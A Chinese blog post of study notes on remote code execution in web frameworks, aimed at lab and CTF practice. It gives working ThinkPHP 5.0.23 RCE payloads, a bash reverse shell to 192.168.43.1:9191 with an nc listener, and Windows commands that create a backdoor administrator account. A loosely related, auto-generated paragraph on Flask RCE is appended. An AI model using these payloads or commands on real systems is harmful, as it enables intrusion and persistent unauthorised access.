框架漏洞RCE-1

一、前提

1、命令执行漏洞:直接调用操作系统命令。攻击者构造恶意命令,将命令拼接到正常的输入中,达到恶意攻击的目的。

(1)、常见命令执行函数

  • PHP:exec、shell_exec、system、passthru、popen、proc_open、反引号等    
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

注:popen()、proc_open()不会直接返回执行结果,而是返回一个文件指针。 <?php popen('whoami>>D:/1.txt','r');?>

(2)、利用条件:

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

(3)、命令连接符

(4)、windows,linux操作系统命令

windows:cmd窗口帮助命令help

linux:Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

(5)、靶场练习:CTFHub

ctfhub命令执行WP:https://www.cnblogs.com/R3col/p/12515059.html

(6)补:创建用户并提权

  • 将编码方式改为UTF-8:CHCP 65001
  • 创建用户:net user hack 123456 /add
  • 查看用户:net user
  • 将用户添加到管理员组:net localgroup Administrators hack /add
  • 激活用户:net user hack /active:yes
  • 远程登录:windows系统命令行输入mstsc,linux系统命令行输入rdesktop ip地址

2、代码执行

(1)、相关函数

  • PHP:eval、${}等
  • python:exec等
  • Java:没有直接执行函数,但有表达式引擎。

(2)、与命令执行区别

  • 命令执行:一般执行操作系统命令
  • 代码执行:一般执行脚本代码

3、docker:用于靶场搭建与使用

(1)、概述:快速构建、运行、管理应用的工具

(2)、安装(kali)

apt-get install docker.io   //安装软件包
docker version              //查看是否安装成功

apt-get install docker-compose  //安装docker-compose工具
docker-compose version          //查看是否安装成功

(3)、docker常用命令(拿mysql举例)

  • 查看本地所有镜像docker images -a 
    • -a:列出所有镜像
  • 搜索仓库镜像docker search mysql --limit 5
    • --limit 5:列出前5个
  • 拉取镜像到本地:docker pull mysql:5.5
    • 不加版本号,默认拉取最新的
  • 删除镜像:docker rmi mysql:5.5 或 docker rmi -f 镜像id
  • 打包镜像:docker save -o mysql.tar mysql:5.5 或 docker save -o mysql.tar 镜像id
    • 压缩文件可以随意命名
  • 加载打包镜像:docker load -i mysql.tar
  • 创建并运行容器docker run -d --name mysql8 -p 3306:3306 mysql
    • -d:后台运行容器
    • --name:指定容器的名称,不指定随机分配
    • -p:指定映射端口
  • 列出运行的容器docker ps -a
    • -a:列出正在运行和运行过的容器,不加只列出当前正在运行的容器
  • 容器的停止,启动,重启,删除docker stop/start/restart/rm 容器id

(4)、docker-compose: 使用 YAML 文件来配置所有需要运行的 Docker 容器

注:需要在docker-compose.yml 文件同目录下执行,即这个目录下必须有docker-compose.yml文件。或在命令后加上-f参数指定目录所在路径 

  • 创建容器docker-compose up -d
    • -d:后台运行
  • 容器的停止,启动,重启,删除docker-compose stop/start/restart/down
  • 查看容器docker-compose ps -a
    • -a:查看所有容器

4、漏洞通用操作:信息收集确定是哪个框架漏洞,网上搜索该漏洞的历史版本,进行复现。

二、ThinkPHP5.0.23漏洞

1、漏洞产生原因:thinkphp没有对控制器名进行合法性校验,导致在没有开启强制路由的情况下,攻击者可以调用任意类的任意方法,从而导致漏洞产生。

2、特征:显示thinkphp图标或页面显示thinkphp这几个大字

3、工具:Liqun工具箱、thinkphp日志分析等。(尝试多个工具,没有换下一个)

注:可以下载综合利用工具ONE-FOX(https://www.one-fox.cn/)

4、手工测试实验过程:

注:使用工具:hackbar插件

  • 利用RCE,通过phpinfo函数查看phpinfo()信息
  • 写入shell,使用蚁剑连接
  • 尝试反弹shell

5、POC

(1)请求路径:index.php?s=captcha

post data下输入

  • _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • _method=__construct&filter[]=system&method=get&get[]=pwd

(2)、直接在请求路径下输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、漏洞利用

(1)、启动靶场

(2)、输入POC

(3)、点击execute,并查看是否成功

(4)、使用蚁剑连接

7、反弹shell(需要URL编码):反弹shell生成器

/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

(1)、将反弹shell代码写入POC中,发送

(2)、反弹shell到的机子开启监听:nc -lvp 9191

8、靶场

安装:git clone https://github.com/vulhub/vulhub.git /home/vulhub

使用:到目录下使用docker-compose

个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!

  • 39
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
Flask框架中的RCE (Remote Code Execution) 指的是通过远程执行恶意代码来利用Flask应用程序中的漏洞。这可能导致攻击者获取应用程序的控制权,并执行恶意操作。 在CTF比赛中遇到Flask框架漏洞的题目时,可以参考一篇详细的博文来了解有关该漏洞的更多信息。这篇博文可能提供了关于Flask框架的介绍、应用程序的结构和配置等方面的详细内容。 在Flask应用程序中,应用程序的所有内容,如配置和URL,都会在Flask类的一个实例上进行注册。这个实例是Flask应用程序的核心,通过使用这个实例,可以注册路由、配置数据库以及其他应用程序的功能。 在Flask框架中,为了确保应用程序的正确运行,可能需要进行一些额外的配置操作。例如,在MANIFEST.in文件中可以指定所需的文件和目录,以确保在Flask应用程序中使用时能够正确加载。 为了创建一个Flask应用程序,需要在一个名为"flaskr"的目录中创建一个"_init_.py"文件。这个文件具有两个重要的目的:一方面,它将包含应用程序工厂,用于创建和配置Flask应用程序;另一方面,它会告诉Python将"flaskr"目录视为一个包。 综上所述,Flask框架RCE漏洞是指通过远程执行恶意代码来利用Flask应用程序中的漏洞。在CTF比赛中遇到此类漏洞时,可以参考相关资源如博文和代码示例来深入理解和解决此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值